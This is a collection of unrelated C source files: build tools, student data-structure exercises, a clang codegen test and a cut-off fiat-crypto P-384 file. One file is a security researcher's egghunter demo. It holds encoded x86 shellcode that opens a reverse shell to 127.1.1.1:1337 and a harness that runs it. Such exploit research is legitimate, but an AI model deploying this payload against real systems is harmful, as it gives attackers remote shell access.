_coap_conncection->unsub_func = _coap_unsub; _coap_conncection->pub_func = _coap_publish; _coap_conncection->yield_func = _coap_yield; _coap_conncection->close_func = _coap_close; } } #endif
the_stack_data/76699788.c
#include <stdlib.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <stdarg.h> #include <stdnoreturn.h> noreturn void panic(char const *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); fputc('\n', stderr); va_end(ap); exit(EXIT_FAILURE); } noreturn void epanic(char const *fmt, ...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); fprintf(stderr, ": %s", strerror(errno)); fputc('\n', stderr); va_end(ap); exit(EXIT_FAILURE); }
the_stack_data/120236.c
/* Part of SWI-Prolog Author: Jan Wielemaker E-mail: [email protected] WWW: http://www.swi-prolog.org Copyright (c) 2008-2018, University of Amsterdam CWI, Amsterdam All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #ifdef __WINDOWS__ #include <direct.h> #else #include <unistd.h> #endif #ifndef MAXPATHLEN #define MAXPATHLEN 1024 #endif int verbose = 0; /* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - This file generates pl-atom.i[ch] and pl-funct.i[ch] from ATOMS. Older versions used an awk program for this, but to simplify portability to Windows this is now converted into a little C program. The program must be called in the source directory or with a single argument that specifies the source directory. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ static int cmp_file(const char *from, const char *to) { FILE *f1 = fopen(from, "r"); FILE *f2 = fopen(to, "r"); int rc = -1; if ( f1 && f2 ) { char l1[1024]; char l2[1024]; while ( fgets(l1, sizeof(l1), f1) ) { if ( fgets(l2, sizeof(l2), f2) ) { if ( strcmp(l1, l2) == 0 ) continue; } goto out; } if ( !fgets(l2, sizeof(l2), f2) ) rc = 0; } out: if ( f1 ) fclose(f1); if ( f2 ) fclose(f2); return rc; } static int update_file(const char *from, const char *to) { if ( cmp_file(from, to) == 0 ) { if ( verbose ) fprintf(stderr, "\t%s: no change\n", to); return remove(from); } else { remove(to); if ( verbose ) fprintf(stderr, "\t%s: updated\n", to); return rename(from, to); } } int main(int argc, char **argv) { FILE *aic, *aih, *fic, *fih; FILE *in; int atom=1; int functor=1; int line=0; char buf[256]; int errors=0; char atom_defs[MAXPATHLEN]; argc--; argv++; if ( argc >= 1 && strcmp(argv[0], "-v") == 0 ) { argc--; argv++; verbose = 1; } if ( argc == 1 ) snprintf(atom_defs, sizeof(atom_defs), "%s/%s", argv[0], "ATOMS"); else snprintf(atom_defs, sizeof(atom_defs), "%s", "ATOMS"); aic = fopen("pl-atom.ic.tmp", "w"); aih = fopen("pl-atom.ih.tmp", "w"); fic = fopen("pl-funct.ic.tmp", "w"); fih = fopen("pl-funct.ih.tmp", "w"); fprintf(aih, "#define ATOM_ MK_ATOM(%d)\n", atom++); fprintf(aic, "ATOM(\"\"),\n"); in = fopen(atom_defs, "r"); while(fgets(buf, sizeof(buf), in)) { line++; switch(buf[0]) { case '#': continue; case 'A': { char id[256], str[256]; if ( sscanf(buf, "A%s \"%[^\"]\"", id, str) == 2 ) { fprintf(aih, "#define ATOM_%-12s MK_ATOM(%d)\n", id, atom++); fprintf(aic, "ATOM(\"%s\"),\n", str); } else { fprintf(stderr, "ERROR: ATOMS:%d: syntax error\n", line); errors++; } continue; } case 'F': { char id[256]; int arity; if ( sscanf(buf, "F%s%d", id, &arity) == 2 ) { char name[300]; snprintf(name, sizeof(name)-1, "%s%d", id, arity); fprintf(fih, "#define FUNCTOR_%-12s MK_FUNCTOR(%d, %d)\n", name, functor++, arity); fprintf(fic, "FUNCTOR(ATOM_%s, %d),\n", id, arity); } else { fprintf(stderr, "ERROR: ATOMS:%d: syntax error\n", line); errors++; } continue; } case '\r': case '\n': continue; } } fclose(in); fclose(aic); fclose(aih); fclose(fic); fclose(fih); if ( !errors ) { errors += update_file("pl-atom.ic.tmp", "pl-atom.ic"); errors += update_file("pl-atom.ih.tmp", "pl-atom.ih"); errors += update_file("pl-funct.ic.tmp", "pl-funct.ic"); errors += update_file("pl-funct.ih.tmp", "pl-funct.ih"); } return errors ? 1 : 0; }
the_stack_data/28787.c
/* Esta função recebe o valor de uma prestação e a qtde de dias de atraso. Retorna o valor da prestação mais multa de 3% do valor, mas 1% por cada dia de atraso.*/ float valor_pagamento(float x, float y){ if (y==0) return x; else return x+(x*0.03)+x*(0.01*y); } /* Esta função recebe um número e retorna qtde de divisores deste número.*/ int div_cont(x){ int i,cont=0; for (i=1;i<=x;i++){ if (x%i==0) cont++; } return cont; }
the_stack_data/107570.c
/* * Title: Small Egghunter - Segment Test * Platform: Linux/x86 * Date: 2014-08-23 * Author: Julien Ahrens (@MrTuxracer) * Website: http://www.rcesecurity.com * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define EGG "\x90\x4a\x90\x42" unsigned char egg[] = EGG; unsigned char egghunter[] = \ "\xe8\x12\x00\x00\x00\x58\xbb\x90\x4a\x90\x42\x40\x39\x18\x75\xfb\x39\x58\x04\x75\xf6\xff\xe0\xeb\xec"; unsigned char shellcode[] = \ "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; main() { printf("Egghunter Length: %d\n", sizeof(egghunter) - 1); char *heap; heap=malloc(300); printf("Memory location of shellcode: %p\n", heap); memcpy(heap, egg, 4); memcpy(heap+4, egg, 4); memcpy(heap+8, shellcode, sizeof(shellcode)); int (*ret)() = (int(*)())egghunter; ret(); }
the_stack_data/153267607.c
/* Returning or passing a struct means copying all the struct's elements, and therefore it's better to return/pass a pointer to the struct instead. That's what we do here - working with pointers. */ #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> typedef struct Arrays { // type name, Arrays, is unneccessary int n; int *key, *left, *right; } arrays; void read_2a(arrays *arrayPtr) { scanf("%d", &arrayPtr->n); arrayPtr->key = (int *)calloc(arrayPtr->n, sizeof(int)); if (arrayPtr->key == NULL) fprintf(stderr, "calloc failed\n"); arrayPtr->left = (int *)calloc(arrayPtr->n, sizeof(int)); if (arrayPtr->left == NULL) fprintf(stderr, "calloc failed\n"); arrayPtr->right = (int *)calloc(arrayPtr->n, sizeof(int)); if (arrayPtr->right == NULL) fprintf(stderr, "calloc failed\n"); for (int i = 0; i < arrayPtr->n; i++) { scanf("%d%d%d", &arrayPtr->key[i], &arrayPtr->left[i], &arrayPtr->right[i]); } } int * inOrder_2a(arrays *arrayPtr) { int * result; result = (int *)calloc(arrayPtr->n, sizeof(int)); int resultSize = 0; int * stack; // stack contains indices of vertices stack = (int *)calloc(arrayPtr->n, sizeof(int)); int size = 0; // current stack size int current = 0; // an index - 0 is root while (1) { while (current > -1) { stack[size++] = current; current = arrayPtr->left[current]; } if (size) { current = stack[--size]; result[resultSize++] = arrayPtr->key[current]; // visit() current = arrayPtr->right[current]; } else return result; } } int * preOrder_2a(arrays *arrayPtr) { int * result; result = (int *)calloc(arrayPtr->n, sizeof(int)); int resultSize = 0; int * stack; // stack contains indices of vertices stack = calloc(arrayPtr->n, sizeof(int)); int size = 0; // current stack size stack[size++] = 0; // stack contains indices of vertices - 0 is root int current; while (size) { current = stack[--size]; // an index result[resultSize++] = arrayPtr->key[current]; // visit() if (arrayPtr->right[current] != -1) { stack[size++] = arrayPtr->right[current]; } if (arrayPtr->left[current] != -1) { stack[size++] = arrayPtr->left[current]; } } return result; } int * postOrder_2a(arrays *arrayPtr) { int * result = (int *)calloc(arrayPtr->n, sizeof(int)); int resultSize = 0; int * stack = (int *)calloc(arrayPtr->n, sizeof(int)); // stack contains indices of vertices int size = 0; // current stack size char * boolStack = (char *)calloc(arrayPtr->n, sizeof(char)); // For each element on the node stack, a corresponding value is stored on the bool stack. If this value is true, then we need to pop and visit the node on next encounter. int boolSize = 0; char alreadyEncountered; // boolean int current = 0; // an index - 0 is root while (current > -1) { stack[size++] = current; boolStack[boolSize++] = 0; // false current = arrayPtr->left[current]; } while (size) { current = stack[size - 1]; alreadyEncountered = boolStack[boolSize - 1]; if (alreadyEncountered) { result[resultSize++] = arrayPtr->key[current]; // visit() size--; boolSize--; } else { boolSize--; boolStack[boolSize++] = 1; // true current = arrayPtr->right[current]; while (current > -1) { stack[size++] = current; boolStack[boolSize++] = 0; // false current = arrayPtr->left[current]; } } } return result; } void print_2a(int n, int * array) { int i; for (i = 0; i < n; i++) { if (i > 0) { printf(" "); } printf("%d", array[i]); } printf("\n"); } int main_2a() { arrays array; // we create an instance of arrays arrays *arrayPtr = &array; // a pointer to it - arrayPtr contains the address of the arrays instance array int *result; read_2a(arrayPtr); result = inOrder_2a(arrayPtr); print_2a((*arrayPtr).n, result); result = preOrder_2a(arrayPtr); print_2a(arrayPtr->n, result); result = postOrder_2a(arrayPtr); print_2a(arrayPtr->n, result); free(result); free(arrayPtr->key); free(arrayPtr->left); free(arrayPtr->right); //scanf("%d", &(*arrayPtr).n); // same as scanf("%d", &array.n); or scanf("%d", &arrayPtr->n); return 0; }
the_stack_data/268399.c
#include <stdio.h> #include <stdlib.h> #include <stdbool.h> #include <assert.h> // Структура для хранения узла дерева. typedef struct node { int value; struct node *left; //ссылка налево struct node *right;//ссылка направо struct node *parent;//ссылка на родителя } node; // Структура для хранения дерева. typedef struct tree { struct node *tmp; //для работы с деревом struct node *root; //корень int numbers; //количество элементов } tree; // Инициализация дерева void init(tree* t); //Функция рекурсивного удаления из любого места node* Itachi(node* t); // Удалить все элементы из дерева void clean(tree* t); // Поиск элемента по значению. Вернуть NULL если элемент не найден node* find(tree* t, int value); // Вставка значения в дерево: // 0 - вставка выполнена успешно // 1 - элемент существует // 2 - не удалось выделить память для нового элемента int insert(tree* t, int value); // Удалить элемент из дерева: // 0 - удаление прошло успешно // 1 - нет элемента с указанным значением int remove_node(tree* t, int value); // Удалить минимальный элемент из поддерева, корнем которого является n // Вернуть значение удаленного элемента int remove_min(node* n); // Выполнить правое вращение поддерева, корнем которого является n: // 0 - успешно выполненная операция // 1 - вращение невозможно int rotate_right(node* n); // Выполнить левое вращение поддерева, корнем которого является n: // 0 - успешно выполненная операция // 1 - вращение невозможно int rotate_left(node* n); // получение кол-во уровней в дереве int get_levels(node* tmp); //функция для вывода уровня void print_level(node* tmp, int curl, int d, int first); // Вывести все значения из поддерева, корнем которого является n // по уровням начиная с корня. // Каждый уровень выводится на своей строке. // Элементы в строке разделяются пробелом. Если элемента нет, заменить на _. // Если дерево пусто, вывести - void print(node* n); // Вывести все значения дерева t, аналогично функции print void print_tree(tree* t); //Вывод количества элементов в списке void print_num(tree* t); int main() { int a, i, n1, n2; struct tree t; init(&t); //ввод первых 4х чисел for (i=0; i<4; i++) { scanf("%d", &a); insert(&t, a); } print_tree(&t); printf("\n"); //ввод ещё 3х чисел for (i=0; i<3; i++) { scanf("%d", &a); insert(&t, a); } print_tree(&t); printf("\n"); //вывод потомков и предка элемента scanf("%d", &n1); node *x = find(&t, n1); if(x==NULL) { printf("-"); printf("\n"); } else { if (x->parent != NULL) { printf("%d", x->parent->value); printf(" "); } else { printf("_ "); } if(x->left) { printf("%d", x->left->value); } else { printf("_"); } printf(" "); if(x->right) { printf("%d", x->right->value); } else { printf("_"); } printf("\n"); } printf("\n"); scanf("%d", &n2); x = find(&t, n2); if(x==NULL) { printf("-"); printf("\n"); } else { if (x->parent != NULL) { printf("%d", x->parent->value); printf(" "); } else { printf("_ "); } if(x->left) { printf("%d", x->left->value); } else { printf("_"); } printf(" "); if(x->right) { printf("%d", x->right->value); } else { printf("_"); } printf("\n"); } printf("\n"); //удаление элемента scanf("%d", &n1); remove_node(&t, n1); print_tree(&t); printf("\n"); //левые вращения node* troot = t.root; if (troot != NULL) { while (troot->right != NULL) { rotate_left(t.root); if (t.root->parent != NULL) { t.root = t.root->parent; } troot =t.root; } } printf("\n"); print_tree(&t); //правые вращения troot = t.root; if(troot != NULL) { while (troot->left != NULL) { rotate_right(t.root); if (t.root->parent != NULL) { t.root = t.root->parent; } troot = t.root; } } printf("\n"); print_tree(&t); //кол-во элементов printf("\n"); print_num(&t); printf("\n\n"); //очистка дерева clean(&t); troot = t.root; print_tree(&t); return 0; } // Инициализация дерева void init(tree* t) { t->root=NULL; } //Функция рекурсивного удаления из любого места node* Itachi(node* t) { if(t!=NULL) { Itachi(t->left); Itachi(t->right); if(t->parent!=NULL) t->parent = NULL; if(t->left!=NULL) t->left = NULL; if(t->right!=NULL) t->right = NULL; free(t); } return NULL; } // Удалить все элементы из дерева void clean(tree* t) { node* root = t->root; Itachi(root); t->root = NULL; } // Поиск элемента по значению. Вернуть NULL если элемент не найден node* find(tree* t, int value) { t->tmp = t->root; while(t->tmp->value != value) { if(t->tmp->value > value) { t->tmp = t->tmp->left; } else { t->tmp = t->tmp->right; } if(t->tmp == NULL) { return NULL; } } return t->tmp; } // Вставка значения в дерево: // 0 - вставка выполнена успешно // 1 - элемент существует // 2 - не удалось выделить память для нового элемента int insert(tree* t, int value) { node *a_root = t->root, *b_root = NULL; t->tmp = malloc(sizeof(node)); t->tmp->value = value; if (t->root == NULL) { t->tmp->parent = NULL; t->tmp->left = NULL; t->tmp->right = NULL; t->root = t->tmp; t->numbers = 1; return 0; } while (a_root != NULL) { b_root = a_root; if (value == a_root->value) { return 1; } if (value < a_root->value) { a_root = a_root->left; } else { a_root = a_root->right; } } t->tmp->parent = b_root; t->tmp->left = NULL; t->tmp->right = NULL; if (value < b_root->value) { b_root->left = t->tmp; t->numbers = t->numbers + 1; return 0; } if (value > b_root->value) { b_root->right = t->tmp; t->numbers = t->numbers +1; return 0; } return -1; } // Удалить минимальный элемент из поддерева, корнем которого является n // Вернуть значение удаленного элемента int remove_min(node* n) { int val; node *tmp = n; while (tmp->left != NULL) { tmp = tmp->left; } val = tmp->value; if(tmp->right != NULL) { if(val < tmp->parent->value) { tmp->parent->left = tmp->right; free(tmp); return val; } else { tmp->parent->right = tmp->right; free(tmp); return val; } } else { if (val < tmp->parent->value) { tmp->parent->left = NULL; free(tmp); return val; } else { tmp->parent->right = NULL; free(tmp); return val; } } } // Удалить элемент из дерева: // 0 - удаление прошло успешно // 1 - нет элемента с указанным значением int remove_node(tree* t, int value) { int val; node *tmp = find(t, value); if (tmp == NULL) return 1; if (tmp->left==NULL && tmp->right==NULL) { if(tmp != t->root) { if (tmp->value < tmp->parent->value) { tmp->parent->left = NULL; free(tmp); t->numbers = t->numbers-1; return 0; } else { tmp->parent->right = NULL; free(tmp); t->numbers = t->numbers-1; return 0; //конец } } else { free(tmp); t->root = NULL; t->numbers = 0; return 0; } } if (tmp->left==NULL && tmp->right!=NULL) { if(tmp != t->root) { if (tmp->value < tmp->parent->value) { tmp->parent->left = tmp->right; tmp->right->parent = tmp->parent; free(tmp); t->numbers = t->numbers-1; return 0; } else { tmp->parent->right = tmp->right; tmp->right->parent = tmp->parent; free(tmp); t->numbers = t->numbers-1; return 0; } } else { tmp->right->parent = NULL; t->root = tmp->right; free(tmp); t->numbers = t->numbers-1; return 0; } } if (tmp->left!=NULL && tmp->right==NULL) { if(tmp !=t->root) { if (tmp->value < tmp->parent->value) { tmp->parent->left = tmp->left; tmp->left->parent = tmp->parent; free(tmp); t->numbers = t->numbers-1; return 0; } else { tmp->parent->right = tmp->left; tmp->left->parent = tmp->parent; free(tmp); t->numbers = t->numbers-1; return 0; } } else { tmp->left->parent = NULL; t->root = tmp->left; free(tmp); t->numbers = t->numbers-1; return 0; } } if(tmp->right!=NULL && tmp->left!=NULL) { val = remove_min(tmp->right); tmp->value = val; t->numbers = t->numbers-1; return 0; } return -1; } // Выполнить правое вращение поддерева, корнем которого является n: // 0 - успешно выполненная операция // 1 - вращение невозможно int rotate_right(node* n) { node* root = n; node* new_root = root->left; node* rotate = new_root->right; new_root->parent = root->parent; if(root->parent != NULL) { if(root->parent->value > root->value) { root->parent->left = new_root; } else { root->parent->right = new_root; } } if(rotate!=NULL) { rotate->parent = root; } root->left = rotate; root->parent = new_root; new_root->right = root; return 0; } // Выполнить левое вращение поддерева, корнем которого является n: // 0 - успешно выполненная операция // 1 - вращение невозможно int rotate_left(node* n) { node* root = n; node* new_root = root->right; node* rotate = new_root->left; new_root->parent = root->parent; if(root->parent != NULL) { if(root->parent->value > root->value) { root->parent->left = new_root; } else { root->parent->right = new_root; } } if(rotate!=NULL) { rotate->parent = root; } root->right = rotate; root->parent = new_root; new_root->left = root; return 0; } // получение кол-во уровней в дереве int get_levels(node* tmp) { if (tmp == NULL) { return 0; } int leftmax = 1 + get_levels(tmp->left); int rightmax = 1 + get_levels(tmp->right); if (leftmax > rightmax) { return leftmax; } else { return rightmax; } } //функция для вывода уровня void print_level(node* tmp, int curl, int d, int first) { if (curl == d) { if (first > 0) { printf(" "); } if (tmp == NULL) { printf("_"); } else { printf("%d", tmp->value); } } else if (tmp != NULL) { print_level(tmp->left, curl + 1, d, first); print_level(tmp->right, curl + 1, d, first + 1); } else { print_level(tmp, curl + 1, d, first); print_level(tmp, curl + 1, d, first + 1); } } // Вывести все значения из поддерева, корнем которого является n // по уровням начиная с корня. // Каждый уровень выводится на своей строке. // Элементы в строке разделяются пробелом. Если элемента нет, заменить на _. // Если дерево пусто, вывести - void print(node* n) { int num = get_levels(n); for (int i = 1; i <= num; i++) { print_level(n, 1, i, 0); printf("\n"); } } // Вывести все значения дерева t, аналогично функции print void print_tree(tree* t) { node* n = t->root; if (n == NULL) { printf("-"); printf("\n"); } print(t->root); } //Вывод количества элементов в списке void print_num(tree* t) { printf("%d", t->numbers); }
the_stack_data/82951371.c
// RUN: %clang_cc1 %s -triple x86_64-pc-win32 -emit-llvm -o - | FileCheck %s typedef __SIZE_TYPE__ size_t; typedef __WCHAR_TYPE__ wchar_t; int wmemcmp_test(const wchar_t *s1, const wchar_t *s2, size_t n) { // CHECK: [[S1:%.*]] = load // CHECK: [[S2:%.*]] = load // CHECK: [[N:%.*]] = load // CHECK: [[N0:%.*]] = icmp eq i64 [[N]], 0 // CHECK: br i1 [[N0]], label %[[EXIT:.*]], label %[[GT:.*]] // CHECK: [[GT]]: // CHECK: [[S1P:%.*]] = phi i16* [ [[S1]], %[[ENTRY:.*]] ], [ [[S1N:.*]], %[[NEXT:.*]] ] // CHECK: [[S2P:%.*]] = phi i16* [ [[S2]], %[[ENTRY]] ], [ [[S2N:.*]], %[[NEXT]] ] // CHECK: [[NP:%.*]] = phi i64 [ [[N]], %[[ENTRY]] ], [ [[NN:.*]], %[[NEXT]] ] // CHECK: [[S1L:%.*]] = load i16, i16* [[S1P]], align 2 // CHECK: [[S2L:%.*]] = load i16, i16* [[S2P]], align 2 // CHECK: [[CMPGT:%.*]] = icmp ugt i16 [[S1L]], [[S2L]] // CHECK: br i1 [[CMPGT]], label %[[EXIT]], label %[[LT:.*]] // CHECK: [[LT]]: // CHECK: [[CMPLT:%.*]] = icmp ult i16 [[S1L]], [[S2L]] // CHECK: br i1 [[CMPLT]], label %[[EXIT]], label %[[NEXT:.*]] // CHECK: [[NEXT]]: // CHECK: [[S1N]] = getelementptr inbounds i16, i16* [[S1P]], i32 1 // CHECK: [[S2N]] = getelementptr inbounds i16, i16* [[S2P]], i32 1 // CHECK: [[NN]] = sub i64 [[NP]], 1 // CHECK: [[NN0:%.*]] = icmp eq i64 [[NN]], 0 // CHECK: br i1 [[NN0]], label %[[EXIT]], label %[[GT]] // // CHECK: [[EXIT]]: // CHECK: [[RV:%.*]] = phi i32 [ 0, %[[ENTRY]] ], [ 1, %[[GT]] ], [ -1, %[[LT]] ], [ 0, %[[NEXT]] ] // CHECK: ret i32 [[RV]] return __builtin_wmemcmp(s1, s2, n); }
the_stack_data/173579254.c
#include <stdio.h> #include <ctype.h> void squeeze_spaces(void); void format_words(void); int main(void) { squeeze_spaces(); format_words(); return 0; } void squeeze_spaces(void) { int character; int space = 0; while ((character = getchar()) != EOF) { if(!isspace(character)) { putchar(character); space = 0; } else if (isspace(character) && space == 0) { putchar(character); space = 1; } } } void format_words(void) { int character; int space = 0; while ((character = getchar()) != EOF) { if(isspace(character)) { putchar(character); space = 1; } else if(space == 1) { putchar(toupper(character)); space = 0; } else { putchar(tolower(character)); } } }
the_stack_data/148874.c
#include <unistd.h> void ft_print_numbers(void) { char i; i = '0'; while (i <= '9') { write(1, &i, 1); i++; } }
the_stack_data/14199788.c
// array types from a parameter list have to be converted to corresponding pointer types // to avoid segmentation fault. // Kernel is extracted from cg of npb2.3 omp c benchmarks. static int colidx[100]; static void makea (int colidx[]) { int i,j; #pragma omp parallel for private(i) for (i = 1; i <= 100; i++) colidx[i] = 0; } int main() { makea(colidx); }
the_stack_data/184518582.c
# include<stdio.h> int main() { int t; double n,ans; scanf("%d",&t); while(t--) { scanf("%lf",&n); //printf("%.11lf\n",(1/((n+1)*(n+2)))); ans = 0.5 * (0.5 - (1.0/((n+1.0)*(n+2.0))))- (1.0/6.0) + (2.0/3.0); printf("%.11lf\n",ans); } return 0; }
the_stack_data/64458.c
#define FALSE 0 #define TRUE 1 #define CON8 8 #define CON4 4 #define OBJVAL 190 #define pix(b,x,y,xl) *(b+(x+(y)*(xl))) #define UL(ptr) (*(ptr-(xdplus1))) #define UP(ptr) (*(ptr-xdim)) #define UR(ptr) (*(ptr-(xdless1))) #define LT(ptr) (*(ptr-1)) #define RT(ptr) (*(ptr+1)) #define DL(ptr) (*(ptr+(xdplus1))) #define DW(ptr) (*(ptr+xdim)) #define DR(ptr) (*(ptr+(xdless1))) #define CHECK(A) { if ( (!(*sp)) && (A) )\ { *dp++ = val ; \ area += 1 ;} \ else\ *dp++ = *sp ; \ sp++ ; } int frame_expand(); int expand(sor,dst,xdim,ydim,type) unsigned char *sor,*dst; int xdim,ydim,type; { return(frame_expand(sor,dst,xdim,ydim,type,127)) ; } int frame_expand(sor,dst,xdim,ydim,type,val) unsigned char *sor,*dst ; int xdim,ydim,type,val; { register unsigned char *sp,*dp ; register int x,y ; int xdless1,ydless1,xdplus1,area ; sp = sor ; dp = dst ; xdless1 = xdim -1 ; xdplus1 = xdim +1 ; ydless1 = ydim -1 ; area = 0 ; if (type == CON8) { /* left corner */ CHECK(RT(sp)||DR(sp)||DW(sp)) /* top row */ for (x=1; x<xdless1;x++) CHECK(LT(sp)||RT(sp)||DL(sp)||DW(sp)||DR(sp)) /* right corner */ CHECK(LT(sp)||DL(sp)||DW(sp)) for (y=1;y<ydless1;y++) { /* left edge */ CHECK(UP(sp)||UR(sp)||RT(sp)||DR(sp)||DW(sp)) /* main part of pic */ for (x=1;x<xdless1;x++) CHECK(UP(sp)||UR(sp)||RT(sp)||DR(sp)||DW(sp)||DL(sp)||LT(sp)||UL(sp)) /* right edge */ CHECK(UP(sp)||UL(sp)||LT(sp)||DL(sp)||DW(sp)) } /* bot left corner */ CHECK(RT(sp)||UR(sp)||UP(sp)) /* bottom row */ for (x=1; x<xdless1;x++) CHECK(LT(sp)||RT(sp)||UL(sp)||UP(sp)||UR(sp)) /* bot right corner */ CHECK(LT(sp)||UL(sp)||UP(sp)) } else { /* left corner */ CHECK(RT(sp)||DW(sp)) /* top row */ for (x=1; x<xdless1;x++) CHECK(LT(sp)||RT(sp)||DW(sp)) /* right corner */ CHECK(LT(sp)||DW(sp)) for (y=1;y<ydless1;y++) { /* left edge */ CHECK(UP(sp)||RT(sp)||DW(sp)) /* main part of pic */ for (x=1;x<xdless1;x++) CHECK(UP(sp)||RT(sp)||DW(sp)||LT(sp)) /* right edge */ CHECK(UP(sp)||LT(sp)||DW(sp)) } /* bot left corner */ CHECK(RT(sp)||UP(sp)) /* bottom row */ for (x=1; x<xdless1;x++) CHECK(LT(sp)||RT(sp)||UP(sp)) /* bot right corner */ CHECK(LT(sp)||UP(sp)) } return(area) ; }
the_stack_data/70449631.c
#include <stdio.h> int main() { float A[3][3]; int i, j; for (i=0; i<3; i++){ for (j=0; j<3; j++){ printf("Digite A[%d][%d]: ", i, j); scanf("%f", &A[i][j]); } } for (i=0; i<3; i++){ for (j=0; j<3; j++){ if (i == j) printf("A[%d][%d]: %f \n",i, j, A[i][j] * 2); else printf("A[%d][%d]: %f \n",i, j, A[i][j] * 3); } } system("pause"); return 0; }
the_stack_data/48575978.c
#include <stdio.h> #include <string.h> /*********************************************************************** * Function: phase_code2 * * Purpose: returns ISC phase code * * op_id = * isc_id = * ***********************************************************************/ int phase_code2(char *phase) { int i; int pc = -1; static char *op_id[] = { "P", "PP", "PPP", "PCP", "PKP", "PKP2", "PKPPKP", "PCPPKP", "PS", "PPS", "PCS", "PKS", "PKKS", "PCSPKP", "PKPPKS", "PKPSKS", "PKKP", "3PKP", "PKIKP", "PKP1", "PKHKP", "PHASE21", "PSS", "PHASE23", "PHASE24", "PHASE25", "PHASE26", "PHASE27", "PHASE28", "PHASE29", "PHASE30", "PHASE31", "PHASE32", "PHASE33", "PHASE34", "S", "SS", "SSS", "SCS", "SKS", "SKKS", "SKKKS", "SCSPKP", "SKSSKS", "SCSP", "SKSP", "SCP", "SP", "SKP", "SKKP", "SKPPKP", "SSP", "PHASE52", "PHASE53", "PHASE54", "PHASE55", "PHASE56", "sPKP2", "pPCP", "pPKP", "pP", "pPP", "sP", "sPKP", "sS", "sSS", "sPP", "sPCP", "sSCS", "pPKP2", "P*", "S*", "PG", "SG", "PN", "SN", "PGPG", "SGSG", "LR", "LQ", "L", "PHASE81", "PHASE82", "SPP", "PHASE84", "SPECIAL", "QM", "RM", "T", "T(MAX)", "NORTH", "SOUTH", "EAST", "WEST", "UP", "DOWN", "E", "I", "MAXIMUM", "FINAL", "S/SKS", "P/PKP", "PX", "X1", "X2", "SX", "SB1", "SB2", "", "S/(SKS)", "(S)/SKS" }; if (strcmp(phase, "") == 0) return 999; for (i = 0; i < 110; i++) { if (strcmp(phase, op_id[i]) == 0) { pc = i; break; } } return pc; }
the_stack_data/105823.c
/* Autogenerated: src/ExtractionOCaml/word_by_word_montgomery --static p384 '2^384 - 2^128 - 2^96 + 2^32 - 1' 64 */ /* curve description: p384 */ /* requested operations: (all) */ /* m = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffeffffffff0000000000000000ffffffff (from "2^384 - 2^128 - 2^96 + 2^32 - 1") */ /* machine_wordsize = 64 (from "64") */ /* */ /* NOTE: In addition to the bounds specified above each function, all */ /* functions synthesized for this Montgomery arithmetic require the */ /* input to be strictly less than the prime modulus (m), and also */ /* require the input to be in the unique saturated representation. */ /* All functions also ensure that these two properties are true of */ /* return values. */ #include <stdint.h> typedef unsigned char fiat_p384_uint1; typedef signed char fiat_p384_int1; typedef signed __int128 fiat_p384_int128; typedef unsigned __int128 fiat_p384_uint128; #if (-1 & 3) != 3 #error "This code only works on a two's complement system" #endif /* * The function fiat_p384_addcarryx_u64 is an addition with carry. * Postconditions: * out1 = (arg1 + arg2 + arg3) mod 2^64 * out2 = ⌊(arg1 + arg2 + arg3) / 2^64⌋ * * Input Bounds: * arg1: [0x0 ~> 0x1] * arg2: [0x0 ~> 0xffffffffffffffff] * arg3: [0x0 ~> 0xffffffffffffffff] * Output Bounds: * out1: [0x0 ~> 0xffffffffffffffff] * out2: [0x0 ~> 0x1] */ static void fiat_p384_addcarryx_u64(uint64_t* out1, fiat_p384_uint1* out2, fiat_p384_uint1 arg1, uint64_t arg2, uint64_t arg3) { fiat_p384_uint128 x1 = ((arg1 + (fiat_p384_uint128)arg2) + arg3); uint64_t x2 = (uint64_t)(x1 & UINT64_C(0xffffffffffffffff)); fiat_p384_uint1 x3 = (fiat_p384_uint1)(x1 >> 64); *out1 = x2; *out2 = x3; } /* * The function fiat_p384_subborrowx_u64 is a subtraction with borrow. * Postconditions: * out1 = (-arg1 + arg2 + -arg3) mod 2^64 * out2 = -⌊(-arg1 + arg2 + -arg3) / 2^64⌋ * * Input Bounds: * arg1: [0x0 ~> 0x1] * arg2: [0x0 ~> 0xffffffffffffffff] * arg3: [0x0 ~> 0xffffffffffffffff] * Output Bounds: * out1: [0x0 ~> 0xffffffffffffffff] * out2: [0x0 ~> 0x1] */ static void fiat_p384_subborrowx_u64(uint64_t* 